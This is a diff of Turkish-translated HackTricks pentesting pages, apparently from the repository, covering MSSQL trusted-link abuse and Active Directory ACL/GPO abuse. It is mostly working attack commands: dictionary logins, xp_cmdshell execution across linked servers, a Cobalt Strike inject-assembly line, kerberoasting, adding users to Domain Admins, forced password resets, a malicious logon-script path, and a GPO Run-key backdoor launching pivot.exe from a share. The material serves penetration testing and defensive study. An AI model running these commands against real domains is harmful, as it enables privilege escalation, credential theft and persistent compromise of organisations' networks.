modülü [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) çok faydalıdır. -```powershell +```bash Import-Module .\PowerupSQL.psd1 ```` ### Alan oturumu olmadan ağdan numaralandırma -```powershell +```bash # Get local MSSQL instance (if any) Get-SQLInstanceLocal Get-SQLInstanceLocal | Get-SQLServerInfo @@ -109,7 +109,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test ``` ### Alan içinden numaralandırma -```powershell +```bash # Get local MSSQL instance (if any) Get-SQLInstanceLocal Get-SQLInstanceLocal | Get-SQLServerInfo @@ -118,6 +118,12 @@ Get-SQLInstanceLocal | Get-SQLServerInfo #This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance) Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose +# Try dictionary attack to login +Invoke-SQLAuditWeakLoginPw + +# Search SPNs of common software and try the default creds +Get-SQLServerDefaultLoginPw + #Test connections with each one Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose @@ -127,14 +133,26 @@ Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose # Get DBs, test connections and get info in oneliner Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo ``` -## MSSQL Temel İstismar +## MSSQL Temel Suistimal ### Erişim Veritabanı -```powershell +```bash +# List databases +Get-SQLInstanceDomain | Get-SQLDatabase + +# List tables in a DB you can read +Get-SQLInstanceDomain | Get-SQLTable -DatabaseName DBName + +# List columns in a table +Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName DBName -TableName TableName + +# Get some sample data from a column in a table (columns username & passwor din the example) +Get-SQLInstanceDomain | GetSQLColumnSampleData -Keywords "username,password" -Verbose -SampleSize 10 + #Perform a SQL query Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername" -#Dump an instance (a lotof CVSs generated in current dir) +#Dump an instance (a lot of CVSs generated in current dir) Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql" # Search keywords in columns trying to access the MSSQL DBs @@ -144,13 +162,13 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } ### MSSQL RCE MSSQL sunucusu içinde **komutlar çalıştırmak** da mümkün olabilir. -```powershell +```bash Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults # Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary ``` **Aşağıdaki bölümde bunu manuel olarak nasıl yapacağınızı kontrol edin.** -### MSSQL Temel Hacking İpuçları +### MSSQL Temel Hacking Hileleri {{#ref}} ../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/ @@ -158,12 +176,12 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu ## MSSQL Güvenilir Bağlantılar -Eğer bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak kabul ediliyorsa. Eğer kullanıcının güvenilir veritabanı üzerinde yetkileri varsa, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komut çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir. +Eğer bir MSSQL örneği, farklı bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak kabul ediliyorsa. Kullanıcının güvenilir veritabanı üzerinde yetkileri varsa, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir. **Veritabanları arasındaki bağlantılar, orman güvenleri arasında bile çalışır.** ### Powershell Suistimali -```powershell +```bash #Look for MSSQL links of an accessible instance Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0 @@ -194,6 +212,12 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c ## If you see the results of @@selectname, it worked Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');' ``` +Başka benzer bir araç olarak [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn) kullanılabilir: +```bash +SharpSQLPwn.exe /modules:LIC /linkedsql: /cmd:whoami /impuser:sa +# Cobalt Strike +inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql: /cmd:whoami /impuser:sa +``` ### Metasploit Metasploit kullanarak güvenilir bağlantıları kolayca kontrol edebilirsiniz. @@ -202,15 +226,15 @@ Metasploit kullanarak güvenilir bağlantıları kolayca kontrol edebilirsiniz. msf> use exploit/windows/mssql/mssql_linkcrawler [msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session ``` -Metasploit'in yalnızca MSSQL'deki `openquery()` fonksiyonunu kötüye kullanmaya çalışacağını unutmayın (yani, `openquery()` ile komut çalıştıramıyorsanız, komutları çalıştırmak için `EXECUTE` yöntemini **manuel** olarak denemeniz gerekecek, daha fazla bilgi aşağıda.) +Notice that metasploit will try to abuse only the `openquery()` function in MSSQL (so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.) -### Manuel - Openquery() +### Manual - Openquery() -**Linux**'tan **sqsh** ve **mssqlclient.py** ile bir MSSQL konsol kabuğu elde edebilirsiniz. +From **Linux** you could obtain a MSSQL console shell with **sqsh** and **mssqlclient.py.** -**Windows**'tan da bağlantıları bulabilir ve komutları manuel olarak bir **MSSQL istemcisi gibi** [**HeidiSQL**](https://www.heidisql.com) kullanarak çalıştırabilirsiniz. +From **Windows** you could also find the links and execute commands manually using a **MSSQL client like** [**HeidiSQL**](https://www.heidisql.com) -_Windows kimlik doğrulaması ile giriş yapın:_ +_Login using Windows authentication:_ ![](<../../images/image (808).png>) @@ -228,7 +252,7 @@ Bağlantı üzerinden sorguları çalıştırın (örnek: yeni erişilebilir ör select * from openquery("dcorp-sql1", 'select * from master..sysservers') ``` > [!WARNING] -> Çift ve tek tırnakların nerede kullanıldığını kontrol edin, bu şekilde kullanmak önemlidir. +> İki ve tek tırnakların nerede kullanıldığını kontrol edin, bu şekilde kullanmak önemlidir. ![](<../../images/image (643).png>) @@ -254,8 +278,9 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT **MSSQL yerel kullanıcısı** genellikle **`SeImpersonatePrivilege`** adı verilen özel bir yetkiye sahiptir. Bu, hesabın "kimlik doğrulamasından sonra bir istemciyi taklit etmesine" olanak tanır. -Birçok yazarın geliştirdiği bir strateji, bir SİSTEM hizmetini, saldırganın oluşturduğu sahte veya ortadaki adam hizmetine kimlik doğrulaması yapmaya zorlamaktır. Bu sahte hizmet, kimlik doğrulaması yapmaya çalışırken SİSTEM hizmetini taklit edebilir. +Birçok yazarın geliştirdiği bir strateji, bir SİSTEM hizmetini, saldırganın oluşturduğu sahte veya ortadaki hizmete kimlik doğrulaması yapmaya zorlamaktır. Bu sahte hizmet, kimlik doğrulaması yapmaya çalışırken SİSTEM hizmetini taklit edebilir. [SweetPotato](https://github.com/CCob/SweetPotato), Beacon'ın `execute-assembly` komutu aracılığıyla yürütülebilen bu çeşitli tekniklerin bir derlemesini sunmaktadır. + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index 4c610755c..99673a851 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -1,66 +1,66 @@ -# Active Directory ACL'lerini/ACE'lerini Kötüye Kullanma +# Active Directory ACL'lerinin/ACE'lerinin Suistimali {{#include ../../../banners/hacktricks-training.md}} -**Bu sayfa,** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **ve** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) **makalelerinden tekniklerin bir özetidir. Daha fazla ayrıntı için orijinal makalelere bakın.** +**Bu sayfa,** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **ve** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**'dan tekniklerin bir özetidir. Daha fazla ayrıntı için orijinal makalelere bakın.** ## **Kullanıcı Üzerinde GenericAll Hakları** Bu ayrıcalık, bir saldırgana hedef kullanıcı hesabı üzerinde tam kontrol sağlar. `GenericAll` hakları `Get-ObjectAcl` komutu kullanılarak doğrulandığında, bir saldırgan: - **Hedefin Parolasını Değiştirme**: `net user /domain` komutunu kullanarak, saldırgan kullanıcının parolasını sıfırlayabilir. -- **Hedefli Kerberoasting**: Kullanıcının hesabına bir SPN atayarak kerberoastable hale getirin, ardından Rubeus ve targetedKerberoast.py kullanarak bilet verme biletinin (TGT) hash'lerini çıkartıp kırmaya çalışın. -```powershell +- **Hedefli Kerberoasting**: Kullanıcının hesabına bir SPN atayarak onu kerberoastable hale getirin, ardından Rubeus ve targetedKerberoast.py kullanarak bilet verme biletinin (TGT) hash'lerini çıkartıp kırmaya çalışın. +```bash Set-DomainObject -Credential $creds -Identity -Set @{serviceprincipalname="fake/NOTHING"} .\Rubeus.exe kerberoast /user: /nowrap Set-DomainObject -Credential $creds -Identity -Clear serviceprincipalname -Verbose ``` -- **Hedeflenmiş ASREPRoasting**: Kullanıcı için ön kimlik doğrulamayı devre dışı bırakın, bu da hesabını ASREPRoasting'e karşı savunmasız hale getirir. -```powershell +- **Hedeflenmiş ASREPRoasting**: Kullanıcı için ön kimlik doğrulamayı devre dışı bırakın, bu da hesaplarını ASREPRoasting'e karşı savunmasız hale getirir. +```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` ## **GenericAll Hakları Üzerinde Grup** Bu ayrıcalık, bir saldırganın `Domain Admins` gibi bir grupta `GenericAll` haklarına sahip olması durumunda grup üyeliklerini manipüle etmesine olanak tanır. Saldırgan, grubun ayırt edici adını `Get-NetGroup` ile belirledikten sonra: -- **Kendilerini Domain Admins Grubuna Ekleyebilir**: Bu, doğrudan komutlar aracılığıyla veya Active Directory veya PowerSploit gibi modüller kullanılarak yapılabilir. -```powershell +- **Kendilerini Domain Admins Grubuna Ekleme**: Bu, doğrudan komutlar veya Active Directory ya da PowerSploit gibi modüller kullanılarak yapılabilir. +```bash net group "domain admins" spotless /add /domain Add-ADGroupMember -Identity "domain admins" -Members spotless Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" ``` ## **GenericAll / GenericWrite / Write on Computer/User** -Bu ayrıcalıkları bir bilgisayar nesnesi veya bir kullanıcı hesabında tutmak şunları sağlar: +Bu yetkilere sahip olmak, bir bilgisayar nesnesi veya kullanıcı hesabında şunları sağlar: - **Kerberos Resource-based Constrained Delegation**: Bir bilgisayar nesnesini ele geçirmeyi sağlar. -- **Shadow Credentials**: Bu tekniği, gölge kimlik bilgilerini oluşturma ayrıcalıklarını kullanarak bir bilgisayar veya kullanıcı hesabını taklit etmek için kullanın. +- **Shadow Credentials**: Bu tekniği, gölge kimlik bilgilerini oluşturma yetkilerini kullanarak bir bilgisayar veya kullanıcı hesabını taklit etmek için kullanın. ## **WriteProperty on Group** Bir kullanıcının belirli bir grup (örneğin, `Domain Admins`) için tüm nesnelerde `WriteProperty` hakları varsa, şunları yapabilirler: -- **Kendilerini Domain Admins Grubuna Eklemek**: `net user` ve `Add-NetGroupUser` komutlarını birleştirerek gerçekleştirilebilir, bu yöntem alan içinde ayrıcalık yükseltmeyi sağlar. -```powershell +- **Kendilerini Domain Admins Grubuna Eklemek**: `net user` ve `Add-NetGroupUser` komutlarını birleştirerek gerçekleştirilebilir, bu yöntem alan içinde ayrıcalık yükseltmesine olanak tanır. +```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` ## **Kendi (Kendi Üyeliği) Grubunda** Bu ayrıcalık, saldırganların `Domain Admins` gibi belirli gruplara kendilerini eklemelerine olanak tanır; bu, grup üyeliğini doğrudan manipüle eden komutlar aracılığıyla gerçekleştirilir. Aşağıdaki komut dizisini kullanmak, kendini eklemeye olanak tanır: -```powershell +```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` ## **WriteProperty (Kendi Üyeliği)** Benzer bir ayrıcalık olan bu, saldırganların grup özelliklerini değiştirerek kendilerini doğrudan gruplara eklemelerine olanak tanır; eğer bu gruplar üzerinde `WriteProperty` hakkına sahipseler. Bu ayrıcalığın onayı ve uygulanması şu şekilde gerçekleştirilir: -```powershell +```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} net group "domain admins" spotless /add /domain ``` ## **ForceChangePassword** `User-Force-Change-Password` için bir kullanıcıda `ExtendedRight` tutmak, mevcut şifreyi bilmeden şifre sıfırlamalarına olanak tanır. Bu hakkın doğrulanması ve istismarı, PowerShell veya alternatif komut satırı araçları aracılığıyla yapılabilir ve etkileşimli oturumlar ile etkileşimsiz ortamlar için tek satırlık komutlar dahil olmak üzere bir kullanıcının şifresini sıfırlamak için çeşitli yöntemler sunar. Komutlar, basit PowerShell çağrılarından Linux'ta `rpcclient` kullanmaya kadar uzanarak saldırı vektörlerinin çok yönlülüğünü göstermektedir. -```powershell +```bash Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainUserPassword -Identity delegate -Verbose Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose @@ -70,24 +70,24 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri rpcclient -U KnownUsername 10.10.10.192 > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!' ``` -## **Grup Üzerinde WriteOwner** +## **WriteOwner Üzerinde Grup** -Bir saldırgan `WriteOwner` haklarına sahip olduğunu bulursa, grubun sahipliğini kendisine değiştirebilir. Bu, söz konusu grubun `Domain Admins` olması durumunda özellikle etkilidir, çünkü sahipliği değiştirmek grup nitelikleri ve üyeliği üzerinde daha geniş bir kontrol sağlar. Süreç, `Get-ObjectAcl` aracılığıyla doğru nesneyi tanımlamayı ve ardından sahibi değiştirmek için `Set-DomainObjectOwner` kullanmayı içerir; bu, SID veya ad ile yapılabilir. -```powershell +Eğer bir saldırgan `WriteOwner` haklarına sahip olduğunu keşfederse, grubun sahipliğini kendisine değiştirebilir. Bu, söz konusu grubun `Domain Admins` olması durumunda özellikle etkilidir, çünkü sahipliği değiştirmek grup nitelikleri ve üyeliği üzerinde daha geniş bir kontrol sağlar. Süreç, `Get-ObjectAcl` aracılığıyla doğru nesneyi tanımlamayı ve ardından sahibi değiştirmek için `Set-DomainObjectOwner` kullanmayı içerir; bu, SID veya ad ile yapılabilir. +```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico ``` ## **GenericWrite on User** -Bu izin, bir saldırganın kullanıcı özelliklerini değiştirmesine olanak tanır. Özellikle, `GenericWrite` erişimi ile saldırgan, bir kullanıcının oturum açma betiği yolunu, kullanıcı oturum açtığında kötü niyetli bir betiği çalıştıracak şekilde değiştirebilir. Bu, hedef kullanıcının `scriptpath` özelliğini saldırganın betiğine işaret edecek şekilde güncellemek için `Set-ADObject` komutunu kullanarak gerçekleştirilir. -```powershell +Bu izin, bir saldırganın kullanıcı özelliklerini değiştirmesine olanak tanır. Özellikle, `GenericWrite` erişimi ile saldırgan, bir kullanıcının oturum açma betiği yolunu, kullanıcı oturum açtığında kötü niyetli bir betiği çalıştıracak şekilde değiştirebilir. Bu, hedef kullanıcının `scriptpath` özelliğini saldırganın betiğine işaret edecek şekilde güncellemek için `Set-ADObject` komutunun kullanılmasıyla gerçekleştirilir. +```bash Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" ``` ## **GenericWrite on Group** Bu ayrıcalıkla, saldırganlar grup üyeliğini manipüle edebilir, örneğin kendilerini veya diğer kullanıcıları belirli gruplara ekleyebilirler. Bu süreç, bir kimlik bilgisi nesnesi oluşturmayı, bunu kullanarak bir gruptan kullanıcı eklemeyi veya çıkarmayı ve PowerShell komutlarıyla üyelik değişikliklerini doğrulamayı içerir. -```powershell +```bash $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose @@ -96,8 +96,8 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use ``` ## **WriteDACL + WriteOwner** -Bir AD nesnesine sahip olmak ve üzerinde `WriteDACL` ayrıcalıklarına sahip olmak, bir saldırgana nesne üzerinde `GenericAll` ayrıcalıkları verme imkanı tanır. Bu, ADSI manipülasyonu yoluyla gerçekleştirilir ve nesne üzerinde tam kontrol sağlanır ve grup üyeliklerini değiştirme yeteneği kazanılır. Ancak, bu ayrıcalıkları Active Directory modülünün `Set-Acl` / `Get-Acl` cmdlet'lerini kullanarak istismar etmeye çalışırken sınırlamalar vardır. -```powershell +Bir AD nesnesine sahip olmak ve üzerinde `WriteDACL` ayrıcalıklarına sahip olmak, bir saldırgana nesne üzerinde `GenericAll` ayrıcalıkları verme imkanı tanır. Bu, ADSI manipülasyonu yoluyla gerçekleştirilir ve nesne üzerinde tam kontrol sağlanır ve grup üyeliklerini değiştirme yeteneği kazanılır. Ancak, bu ayrıcalıkları Active Directory modülünün `Set-Acl` / `Get-Acl` cmdlet'lerini kullanarak istismar etmeye çalışırken sınırlamalar bulunmaktadır. +```bash $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow" @@ -118,22 +118,22 @@ Grup Politika Nesnelerini (GPO) yönetmek için devredilen erişim, önemli güv Yanlış yapılandırılmış GPO'ları tanımlamak için PowerSploit'in cmdlet'leri bir araya getirilebilir. Bu, belirli bir kullanıcının yönetme izinlerine sahip olduğu GPO'ların keşfedilmesini sağlar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -**Belirli Bir Politika Uygulanan Bilgisayarlar**: Belirli bir GPO'nun hangi bilgisayarlara uygulandığını çözmek mümkündür, bu da potansiyel etki alanını anlamaya yardımcı olur. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` +**Verilen Politika Uygulanan Bilgisayarlar**: Belirli bir GPO'nun hangi bilgisayarlara uygulandığını çözmek mümkündür, bu da potansiyel etkinin kapsamını anlamaya yardımcı olur. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` -**Belirli Bir Bilgisayara Uygulanan Politikalar**: Belirli bir bilgisayara hangi politikaların uygulandığını görmek için `Get-DomainGPO` gibi komutlar kullanılabilir. +**Verilen Bilgisayara Uygulanan Politikalar**: Belirli bir bilgisayara hangi politikaların uygulandığını görmek için `Get-DomainGPO` gibi komutlar kullanılabilir. -**Belirli Bir Politika Uygulanan OU'lar**: Belirli bir politikadan etkilenen organizasyonel birimleri (OU'lar) tanımlamak için `Get-DomainOU` kullanılabilir. +**Verilen Politika Uygulanan OU'lar**: Belirli bir politikadan etkilenen organizasyonel birimleri (OU'lar) tanımlamak için `Get-DomainOU` kullanılabilir. ### GPO'yu Kötüye Kullan - New-GPOImmediateTask Yanlış yapılandırılmış GPO'lar, örneğin, etkilenen makinelerde yerel yöneticiler grubuna bir kullanıcı eklemek için anlık bir planlı görev oluşturarak kod çalıştırmak için istismar edilebilir, bu da ayrıcalıkları önemli ölçüde artırır: -```powershell +```bash New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force ``` ### GroupPolicy modülü - GPO'yu Kötüye Kullanma -GroupPolicy modülü, eğer kuruluysa, yeni GPO'ların oluşturulmasını ve bağlanmasını sağlar ve etkilenen bilgisayarlarda arka kapıları çalıştırmak için kayıt defteri değerleri gibi tercihlerin ayarlanmasına olanak tanır. Bu yöntem, GPO'nun güncellenmesini ve bir kullanıcının bilgisayara giriş yapmasını gerektirir: -```powershell +GroupPolicy modülü, yüklüyse, yeni GPO'ların oluşturulmasına ve bağlanmasına, ayrıca etkilenen bilgisayarlarda arka kapıları çalıştırmak için kayıt defteri değerleri gibi tercihlerin ayarlanmasına olanak tanır. Bu yöntem, GPO'nun güncellenmesini ve bir kullanıcının bilgisayara giriş yapmasını gerektirir: +```bash New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString ``` @@ -145,17 +145,17 @@ SharpGPOAbuse, yeni GPO'lar oluşturma gereksinimi olmadan mevcut GPO'ları köt ``` ### Politika Güncellemesini Zorla -GPO güncellemeleri genellikle her 90 dakikada bir gerçekleşir. Bu süreci hızlandırmak için, özellikle bir değişiklik uygulandıktan sonra, hedef bilgisayarda `gpupdate /force` komutu kullanılarak anında bir politika güncellemesi zorlanabilir. Bu komut, GPO'larda yapılan herhangi bir değişikliğin bir sonraki otomatik güncelleme döngüsünü beklemeden uygulanmasını sağlar. +GPO güncellemeleri genellikle her 90 dakikada bir gerçekleşir. Bu süreci hızlandırmak için, özellikle bir değişiklik uygulandıktan sonra, hedef bilgisayarda `gpupdate /force` komutu kullanılabilir. Bu komut, GPO'larda yapılan herhangi bir değişikliğin bir sonraki otomatik güncelleme döngüsünü beklemeden uygulanmasını sağlar. ### Arka Planda -Belirli bir GPO için Zamanlanmış Görevler incelendiğinde, `Misconfigured Policy` gibi görevlerin eklenmesi gibi `evilTask` gibi görevlerin varlığı doğrulanabilir. Bu görevler, sistem davranışını değiştirmek veya ayrıcalıkları artırmak amacıyla betikler veya komut satırı araçları aracılığıyla oluşturulur. +Belirli bir GPO için Zamanlanmış Görevler incelendiğinde, `Misconfigured Policy` gibi görevlerin eklenmesi, `evilTask` gibi görevlerin varlığını doğrulayabilir. Bu görevler, sistem davranışını değiştirmek veya ayrıcalıkları artırmak amacıyla betikler veya komut satırı araçları aracılığıyla oluşturulur. -`New-GPOImmediateTask` tarafından oluşturulan XML yapılandırma dosyasında gösterildiği gibi, görevin yapısı zamanlanmış görevin ayrıntılarını - yürütülecek komut ve tetikleyicileri - özetler. Bu dosya, zamanlanmış görevlerin GPO'lar içinde nasıl tanımlandığını ve yönetildiğini temsil eder ve politika uygulaması kapsamında rastgele komutlar veya betikler yürütme yöntemi sağlar. +`New-GPOImmediateTask` tarafından oluşturulan XML yapılandırma dosyasında gösterildiği gibi, görev yapısı zamanlanmış görevin ayrıntılarını - yürütülecek komut ve tetikleyicileri - özetler. Bu dosya, zamanlanmış görevlerin GPO'lar içinde nasıl tanımlandığını ve yönetildiğini temsil eder ve politika uygulaması kapsamında rastgele komutlar veya betikler yürütme yöntemi sunar. ### Kullanıcılar ve Gruplar -GPO'lar, hedef sistemlerde kullanıcı ve grup üyeliklerinin manipülasyonuna da olanak tanır. Kullanıcılar ve Gruplar politika dosyalarını doğrudan düzenleyerek, saldırganlar yerel `administrators` grubu gibi ayrıcalıklı gruplara kullanıcı ekleyebilir. Bu, GPO yönetim izinlerinin devredilmesi yoluyla mümkündür; bu, politika dosyalarının yeni kullanıcılar eklemek veya grup üyeliklerini değiştirmek için değiştirilmesine izin verir. +GPO'lar, hedef sistemlerde kullanıcı ve grup üyeliklerinin manipülasyonuna da olanak tanır. Kullanıcılar ve Gruplar politika dosyalarını doğrudan düzenleyerek, saldırganlar yerel `administrators` grubuna kullanıcı ekleyebilir. Bu, GPO yönetim izinlerinin devri yoluyla mümkündür; bu, politika dosyalarının yeni kullanıcılar eklemek veya grup üyeliklerini değiştirmek için değiştirilmesine izin verir. Kullanıcılar ve Gruplar için XML yapılandırma dosyası, bu değişikliklerin nasıl uygulandığını özetler. Bu dosyaya girişler ekleyerek, belirli kullanıcılara etkilenen sistemler üzerinde yükseltilmiş ayrıcalıklar verilebilir. Bu yöntem, GPO manipülasyonu yoluyla ayrıcalık artırma için doğrudan bir yaklaşım sunar. diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates.md b/src/windows-hardening/active-directory-methodology/ad-certificates.md index fce82c106..3ebd7b1ac 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates.md @@ -1,10 +1,10 @@ -# AD Sertifikaları +# AD Certificates {{#include ../../banners/hacktricks-training.md}} -## Giriş +## Introduction -### Sertifikanın Bileşenleri +### Components of a Certificate - Sertifikanın **Sahibi**, sertifikanın sahibini belirtir. - **Açık Anahtar**, sertifikayı gerçek sahibine bağlamak için özel bir anahtarla eşleştirilir. @@ -12,72 +12,72 @@ - Sertifikayı tanımlayan benzersiz bir **Seri Numarası**, Sertifika Otoritesi (CA) tarafından sağlanır. - **Verici**, sertifikayı veren CA'yı ifade eder. - **SubjectAlternativeName**, kimlik tanımlama esnekliğini artırarak konu için ek adlar sağlar. -- **Temel Kısıtlamalar**, sertifikanın bir CA veya son varlık için olup olmadığını belirler ve kullanım kısıtlamalarını tanımlar. -- **Genişletilmiş Anahtar Kullanımları (EKU'lar)**, sertifikanın belirli amaçlarını, örneğin kod imzalama veya e-posta şifreleme, Nesne Tanımlayıcıları (OID'ler) aracılığıyla belirler. +- **Temel Kısıtlamalar**, sertifikanın bir CA veya son varlık için olup olmadığını tanımlar ve kullanım kısıtlamalarını belirler. +- **Genişletilmiş Anahtar Kullanımları (EKUs)**, sertifikanın belirli amaçlarını, örneğin kod imzalama veya e-posta şifreleme gibi, Nesne Tanımlayıcıları (OIDs) aracılığıyla belirler. - **İmza Algoritması**, sertifikayı imzalamak için kullanılan yöntemi belirtir. - **İmza**, vericinin özel anahtarı ile oluşturulur ve sertifikanın doğruluğunu garanti eder. -### Özel Hususlar +### Special Considerations -- **Subject Alternative Names (SAN'lar)**, bir sertifikanın birden fazla kimliğe uygulanabilirliğini genişletir, bu da birden fazla alan adı olan sunucular için kritik öneme sahiptir. Güvenli verilme süreçleri, saldırganların SAN spesifikasyonunu manipüle ederek kimlik taklidi risklerini önlemek için hayati öneme sahiptir. +- **Subject Alternative Names (SANs)**, bir sertifikanın birden fazla kimliğe uygulanabilirliğini genişletir, bu da birden fazla alan adı olan sunucular için kritik öneme sahiptir. Güvenli verilme süreçleri, saldırganların SAN spesifikasyonunu manipüle ederek kimlik taklit etme risklerini önlemek için hayati öneme sahiptir. -### Aktif Dizin (AD) İçindeki Sertifika Otoriteleri (CA) +### Certificate Authorities (CAs) in Active Directory (AD) AD CS, AD ormanında CA sertifikalarını belirlenmiş konteynerler aracılığıyla tanır; her biri benzersiz roller üstlenir: - **Sertifika Otoriteleri** konteyneri, güvenilir kök CA sertifikalarını tutar. -- **Kayıt Hizmetleri** konteyneri, Kurumsal CA'lar ve sertifika şablonlarını detaylandırır. +- **Kayıt Hizmetleri** konteyneri, Kurumsal CA'ları ve sertifika şablonlarını detaylandırır. - **NTAuthCertificates** nesnesi, AD kimlik doğrulaması için yetkilendirilmiş CA sertifikalarını içerir. - **AIA (Otorite Bilgi Erişimi)** konteyneri, ara ve çapraz CA sertifikaları ile sertifika zinciri doğrulamasını kolaylaştırır. -### Sertifika Edinimi: İstemci Sertifika Talep Akışı +### Certificate Acquisition: Client Certificate Request Flow -1. Talep süreci, istemcilerin bir Kurumsal CA bulmasıyla başlar. -2. Bir açık anahtar ve diğer detayları içeren bir CSR oluşturulur, ardından bir açık-özel anahtar çifti üretilir. +1. İstek süreci, istemcilerin bir Kurumsal CA bulmasıyla başlar. +2. Bir kamu-özel anahtar çifti oluşturulduktan sonra, bir kamu anahtarı ve diğer detayları içeren bir CSR oluşturulur. 3. CA, mevcut sertifika şablonlarına karşı CSR'yi değerlendirir ve 